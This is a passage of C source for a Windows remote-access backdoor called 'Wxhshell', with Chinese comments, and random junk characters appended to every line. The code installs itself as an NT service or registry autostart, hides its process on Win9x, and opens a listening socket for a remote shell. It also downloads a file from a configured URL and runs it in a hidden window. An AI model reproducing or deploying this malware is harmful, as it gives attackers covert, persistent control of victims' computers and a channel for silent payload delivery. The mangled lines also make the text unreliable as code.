ULONG UniqueProcessId; Ke2ccN
ULONG InheritedFromUniqueProcessId; [VsKa\9u
} PROCESS_BASIC_INFORMATION; HTS%^<u
E4~<V=2l
PROCNTQSIP NtQueryInformationProcess; l^pA2yh|
li}1S
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h1B16)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <#u=[_H
9vGu0Um
HANDLE hProcess; to DG7XN}
PROCESS_BASIC_INFORMATION pbi; dE4L=sTEsy
sE Q=dcK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6MT1$7|P&x
if(NULL == hInst ) return 0; Z:sg}
YH\OFg@7
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )\J+Kiy)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Y7Eajt-5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %R}.#,Suo
JSCZ{vJ$
if (!NtQueryInformationProcess) return 0; P;qN(2L/=<
q#,f 4P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YSTv\y
if(!hProcess) return 0; 6sx'S?Qa*
rMLp-aR'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $JMXV
j/f?"VEr
CloseHandle(hProcess); 8TLgNQP
z6jc8Z=O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (nlvl?\d
if(hProcess==NULL) return 0; p8h9Ng*&`
;;C?{
HMODULE hMod; d9;g]uj`
char procName[255]; _lGdUt 2
unsigned long cbNeeded; |yQZt/*SOZ
C1m]*}U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w~"KA6^
Kgi<UkFP
CloseHandle(hProcess); X[&Wkr8x '
ymx>i~>7J
if(strstr(procName,"services")) return 1; // 以服务启动 ZaV8qAsP
['B?i1 .
return 0; // 注册表启动 UBaAx21x
} 0 yuW*z
<b`E_
// 主模块 $_o-~F2i5
int StartWxhshell(LPSTR lpCmdLine) =}DR)
9
{ Rn9m]x
SOCKET wsl; (`c
[#0=n
BOOL val=TRUE; V-Sd[
int port=0; X[PZg{
struct sockaddr_in door; _m
gHJ 0v'
{B?Wu3-
if(wscfg.ws_autoins) Install(); @` 1Ds
*E/`KUG]
port=atoi(lpCmdLine); {=!b/l;@
&eCa0s?mI
if(port<=0) port=wscfg.ws_port; )4<__|52"1
W&&;:Fr
WSADATA data; vd
0ljA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <`B,R*H{
:D%"EJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M<.d8?p )
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QS` PpyBkd
door.sin_family = AF_INET; G~2jUyv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); B8V>NvE~o
door.sin_port = htons(port); 4E]l{"k<
aWWU4xe
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mKL<<L[
closesocket(wsl); Li/O
return 1; rV R1wsaL
} Mc09ES
5Iy;oZ
if(listen(wsl,2) == INVALID_SOCKET) { K]s[5
closesocket(wsl); C":32_q
return 1; JEahGzO
} F+,~v-
Wxhshell(wsl); }z _
WSACleanup(); "$ Y_UJT7
l_P-j96WD
return 0; {*0<T|<n
![YX]+jqNp
} Xm%D><CC8"
C&*oI =6
// 以NT服务方式启动 2Ga7$q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "a
ueL/dgN
{ ]h* c,.
DWORD status = 0; #(#Wv?r6
DWORD specificError = 0xfffffff; Z&1T
ysxb?6
serviceStatus.dwServiceType = SERVICE_WIN32; ko.(pb@+
serviceStatus.dwCurrentState = SERVICE_START_PENDING; R?~Yp?B^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =j5MFX.-o
serviceStatus.dwWin32ExitCode = 0; -Zf@VW,NI
serviceStatus.dwServiceSpecificExitCode = 0; ;aI[=?<x
serviceStatus.dwCheckPoint = 0; 6*B1 9+-
serviceStatus.dwWaitHint = 0; [F0s!,P
2N~Fg^xB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m?pstuUK(
if (hServiceStatusHandle==0) return; "HElB9
iYORu3
status = GetLastError(); Tl$[4heE
if (status!=NO_ERROR) NdtB1b
{ Bg5Wba%NK
serviceStatus.dwCurrentState = SERVICE_STOPPED; xO^:_8=&:
serviceStatus.dwCheckPoint = 0; =vQcYa
serviceStatus.dwWaitHint = 0; ^W'fA{sr
serviceStatus.dwWin32ExitCode = status; !%^^ \,
serviceStatus.dwServiceSpecificExitCode = specificError; z=rT%lz6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); # {w9s0:
return;
ZHU5SXu
} [ oL.+
|Y$uqRdV
serviceStatus.dwCurrentState = SERVICE_RUNNING; *)ardZV${
serviceStatus.dwCheckPoint = 0; 1crnmJ!C
serviceStatus.dwWaitHint = 0; 3nT^?;-
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 87<-kV
} $@^pAP
zEd0Tmt
// 处理NT服务事件,比如:启动、停止 i]Fp..`v~
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q1O}ly}JS
{ ;>
_$`
switch(fdwControl) ORyE`h
{ NO|KVZ~
case SERVICE_CONTROL_STOP: iF-6Y0~8
serviceStatus.dwWin32ExitCode = 0; u
[m
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8YZbP5'
serviceStatus.dwCheckPoint = 0; U=DmsnD,
serviceStatus.dwWaitHint = 0; A<5ZF27
{ J7= +
SetServiceStatus(hServiceStatusHandle, &serviceStatus); IE;~?W"
} 9xO#tu]
return; $ACvV"b
case SERVICE_CONTROL_PAUSE: iYDEI e
serviceStatus.dwCurrentState = SERVICE_PAUSED; [`{Z}q&
break; ,TXTS*V?
case SERVICE_CONTROL_CONTINUE: bvv|;6
serviceStatus.dwCurrentState = SERVICE_RUNNING; xC*6vH]?
break; T*#/^%HSG
case SERVICE_CONTROL_INTERROGATE: vy0X_DPCr
break; l)Pu2!Ic
}; 1<BX]-/tP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &<wuJ%'>)Z
} QW$G
+=q$ x Ia
// 标准应用程序主函数 Xf02"PXC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) : >6F+XZ
{ b7NM#Hb
&y3OR1_Sm*
// 获取操作系统版本 0~ZFv Wv
OsIsNt=GetOsVer(); X9p.gXF
GetModuleFileName(NULL,ExeFile,MAX_PATH); J?Ra bYd ~
KNS.Nw7
// 从命令行安装 jX3,c%aQ5e
if(strpbrk(lpCmdLine,"iI")) Install(); *of3:w
9Wnn'T@Tl
// 下载执行文件 +?u~APjNN
if(wscfg.ws_downexe) { q#vQv5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RA KFU
WinExec(wscfg.ws_filenam,SW_HIDE); .q
`Hjmg<
} Xe<sJ.&Wf
]$Yvj!K*Q
if(!OsIsNt) { u=/{cOJI6
// 如果时win9x,隐藏进程并且设置为注册表启动 Y%PwktQm
HideProc(); ~aMlr6;
StartWxhshell(lpCmdLine); A*2
bA
} ^cczJOxB
else ^aH\7J@Y
if(StartFromService()) 5jd,{<
// 以服务方式启动 4a'N>eDR
StartServiceCtrlDispatcher(DispatchTable); b~'"^ Bts*
else V,q](bg
// 普通方式启动 Pa{%\dsv
StartWxhshell(lpCmdLine); BFL`!^
JHz
[ 7
return 0; pQshUm"_
}